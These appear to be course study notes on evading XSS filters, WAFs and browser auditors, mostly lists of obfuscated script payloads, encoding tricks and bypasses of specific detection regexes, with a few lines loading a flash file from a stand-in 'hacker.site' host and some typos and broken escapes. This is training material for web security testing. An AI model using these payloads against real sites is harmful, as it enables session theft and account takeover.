Filter Evasion and WAF Bypassing
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
http://html5sec.org/
- Common scenarios
- The XSS vector is blocked by the application or something else
- The XSS vector is sanitized
- The XSS vector is filtered or blocked by the browser
Bypassing Blackliting Filters
Its the most common. Their goal is to detect specific patterns and prevent malicious behaviors.
Inject Script Code
<script>
# The <script> tag is the primary method which can be used to execute client-side scripting code such as javascript.
Bypassing Weak script Tag Banning
- Upper and Lower-case characters
- Upper and Lower-case without closing tag
- Random string after the tag name
- Newline after the tag name
- Nested tags
- NULL byte (IE up to v9)
# examples in images
ModSecurity > Script Tag Based XSS Vectors Rule
There are several alternatives in which its possible to run our code, such as different HTML tags and related event handlers.
Beyond script Tag… Using HTML Attributes
<a href="javascript:alert(1)">show</a>
<a href="data:text/html;base64,<alert(1) encoded>"show</a>
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data="javascript:alert(1)">
<object data="data:text/html;base64, <alert(1) encoded>">
# https://github.com/evilcos/xss.swf
<object data="//hacker.site/xss.swf">
<embed code="//hacker.site/xss.swf" allowscriptaccess=always>
Beyond script Tag… Using HTML Events
- Events are they way that HTML DOM adds interactivity between the website and its visitors; This happens simply by executing the client-side code (e.g, JavaScript)
Almost all event handler identifier start with on and are followerd by the name of the event. One of the most used is onerror:
<img src=x onerror=alert(1)>
→ but, there are maybe other events: http://help.dottoro.com/lhwfcplu.php
Examples:
<body onload=alert(1)>
<input type=image src=x:x onerror=alert(1)>
<isindex onmouseover="alert(1)" >
<form oninput=alert(1)><input></form>
<texarea autofocus onfocus=alert(1)>
<input oncut=alert(1)>
<svg onload=alert(1)>
<keygen autofocus onfocus=alert(1)">
<video><source onerror="alert(1)">
<marquee onstart=alert(1)>
- From a defensive point of view, the solution is to filter all the events that start with on in order to block this injection point.
This is a very common regex you might find used widely:
(on\w+\s*=)
# We can bypass this filter:
<svg/onload=alert(1)>
<svg//////onload=alert(1)>
<svg id=x; onload=alert(1)>
<svg id='x' onload=alert(1)>
So, we have an Upgrade:
(?i)([\s\"'`;\/0-9\=]+on\w+\s*=)
- However, Some browsers convert the control character to a space, thus the \s meta-character is not enough to cover all possible chars.
We can bypass that too:
<svg onload%09=alert(1)> # Works in all browsers except Safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2C%3B=alert(1)>
<svg onload%0B=alert(1)> # IE only
Browsers are in continuous evolution; Therefore, some of the chars allowed may not work anymore. So, Shazzer Fuzz DB has created two fuzzer tests:
→ http://shazzer.co.uk/vector/Characters-allowed-after-attribute-name
→ http://shazzer.co.uk/vector/Characters-allowed-before-attribute-name
To data, a valid regex rule should be the following:
(?i)([\s\"'`;\/0-9\=\x00\x09\x0A\x0C\0x0D\x3B\x2C\x28\x3B]+on\w+[\s\x00\x09\x0A\x0C\0x0D\x3B\x2C\x28\x3B]*?=)
Keyword Based Filters
There are filters focused on preventing scripting mode such as alert, javascript, eval
Char Escaping
Here we see Unicode Escaping without using native functions:
<script>\u0061lert(1)</script>
<script>\u0061\u006\u0065\u0072\u0074(1)</script>
Unicode escaping using native functions. Eval is just one of many:
<script>eval("\u0061lert(1)")</script>
<script>eval("\u0061\u006\u0065\u0072\u0074\u0028\u0031\u0029")</script>
IF the filtered vector is within a string, in addition to Unicode, there are multiple escapses we may adopt:
<img src=x onerror="\u0061lert(1)"/>
<img src=x onerror="eval('\141lert(1)')"/> # octal escape
<img src=x onerror="eval('\x61lert(1)')"/> # hexa escape
<img src=x onerror="eval('alert(1)')"/> # hexa numeric char reference
<img src=x onerror="eval('alert(1)')"/> # decimal NCR
<img src=x onerror="eval('\a\l\ert(1\)')"/> # superfluous escapes chars
<img src=x onerror="eval('\u0065val('\141\u006cert\(1)')"/> '
# All chars escaping can stay together.
Contructing String
Javascript jas several functions useful to create string:
/ale/.source+/rt/.source
String.fromCharCode(97,108,101,114,116)
atob("YWxlcnQ=")
177985081..toString(36)
Execution Sinks
- Technically, functions that parse string as JavaScript code are called execution sinks, and JavaScript offers several alternatives.
Some Sinks:
setTimeout("JSCode") //all browsers
setInterval("JSCode") //all browsers
setImmediate("JSCode") //IE 10+
Function("JSCode") //all browsers
# moreover: https://code.google.com/p/domxsswiki/wiki/ExecutionSinks
Variation of the Function sink:
[].constructor.constructor(alert(1))
object | array | function | XSS vector |
Pseudo-protocols
javascript: is an unofficional URI scheme, commonly referred as a pseudo-protocol.
- javascript followerd by (:) is usually blocked
Example:
<a href="javascript:alert(1)"/> " //blocked
# javascript: is not needed on event handlers; SO, we should avoid using it.
Bypass examples:
<object data="JaVScRiPt:alert(1)">
<object data="javascript::alert(1)">
<object data="java
script:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
- In addition to javascript:, there are also data: and the IE exclusive vbscript:
Data URI scheme:
data:[<mediatype>][;base64],<data>
# mediatype is usually 'text/html'
If javascript: is blocked:
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html,base64,<base64 encoded>">
If data: is blocked:
<embed code="DaTa:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">
The vbscript pseudo-protocol is not so common, because it can only be used with IE.
- From IE11 in Edge, vbscript is no longer supported.
How to use vbscript:
<img src=a onerror="vbscript:msgbox 1"/> //works till IE8
<img src=b onerror="vbs:msgbox 2"/> //works till IE8
<img src=c onerror="vbs:alert(3)"/> "//works till IE Edge
<img src=d onerror="vbscript:alert(4)"/> "//works till IE Edge
Bypass vbscript:
<img src=x onerror="vbscript:alert(1)"/> "
<img src=x onerror="vbccript:alert(1)"/> "
<img src=x onerror="v�bs�cri pt:alert(1)"/> //using NUL bytes
Tool to obfuscate:
http://dennisbabkin.com/screnc/
Bypassing Sanitization
The most common is to HTML-encode such as:
< (<)
> (>)
String Manipulations
Example:
removing <script> tag
Removing HTML tags
The check is not performed recursively:
<scr<script>ipt>alert(1)</script> # this could be a bypass
If the filter performs recursive checks, we can still bypass. maybe changing the order of injected strings.
<scr<iframe>ipt>alert(1)</script> //this could be a bypass
- it all depends on the filter that we are facing
→ moreover: https://els-cdn.content-api.ine.com/eda3ac9d-554a-469a-98c6-639c90f0c7a5/index.html#
Escaping Quotes
- Filters place the backslash char ** before quotes to escape that kind of character
Example:
randomkey\' alert(1); # escape the apostrophe
randomkey\\' alert(1); # escape the backslash
One of useful Javascript methods is:
String.fromCharCode()
It allows us to generate strings starting from a sequence of Unicode values:
String.fromCharCode(120,115,9416)
# u+0078 Latin Small Letter x
# u+0073 Latin small Letter s
# u+24C8 Circled Latin capital letter (S)
/your string/.source //space allowed
43804..toString(36) //spaces not allowed in Base36
Using unescape method:
unescape(/%78%u0073%73/.source) //its deprecated
Using decodeURI and decodeURIComponent:
# in this case, characters needs to be URL-encoded to avoid URI malformed errors
decodeURI(/alert(%22xss%22)/.source)
decodeURIcomponent(/alert(%22xss%22)/.source)
- These methods could be useful if you can inject into a script or event handler. nut you cannot use quotation marks because they are properly escaped.
- Dont forget that each of them will return a string, so you need an execution sink to trigger the code (IE: eval)
Escaping Parentheses
- The technique abuses the onerror handler, assigning a function to call once an error has been generated using throw followed by the arguments to the function assigned to the error handler.
→ moreover: http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
# eval - function to invoke in case of error
# throw - generate the error
# alert... - parameters For the error function
onerror=alert;throw 1; // a simple version
# does not work in Firefox and IE
And since the arguments section is quoted, its possible to do some encoding like the following:
<img src=x onerror="window.onerror=eval;throw'\u003dlert(18#41;'"/>
Bypassing Browser Filters
They dont cover all possible XSS attacl scenarios and they focus on Reflected type of XSS.
UnFiltered Scenarios - Injecting Inside HTML Tag
<svg/onload=alert(1)> # its detected by all main filters
# Just by removing the final (>) we jave a bypass For browsers with XSSAuditor
<svg/onload=alert(1) // works chromium based browser
Injecting inside HTML Tag Attributes:
site.com/inject?x=giuseppe"><svg/onload=alert(1)>
We can bypass WebKit with:
site.com/inject?x=giuseppe"><a/href="data:text/html;base64,<base64 payload>">clickhere<!--
Injecting Inside SCRIPT Tag:
site.com/inject?name=belucci";alert(1);//
Injecting Inside Event Attributes:
site.com/inject?roomID=alert(1)
DOM Based:
site.com/inject?next=javascript:alert(1)
- DOM Based, there are other scenarios that are not covered by browsers filters.
For example, fragmented vectors in multiple GET parameters or attacks that are not reflected in the same page, mXSS, etc.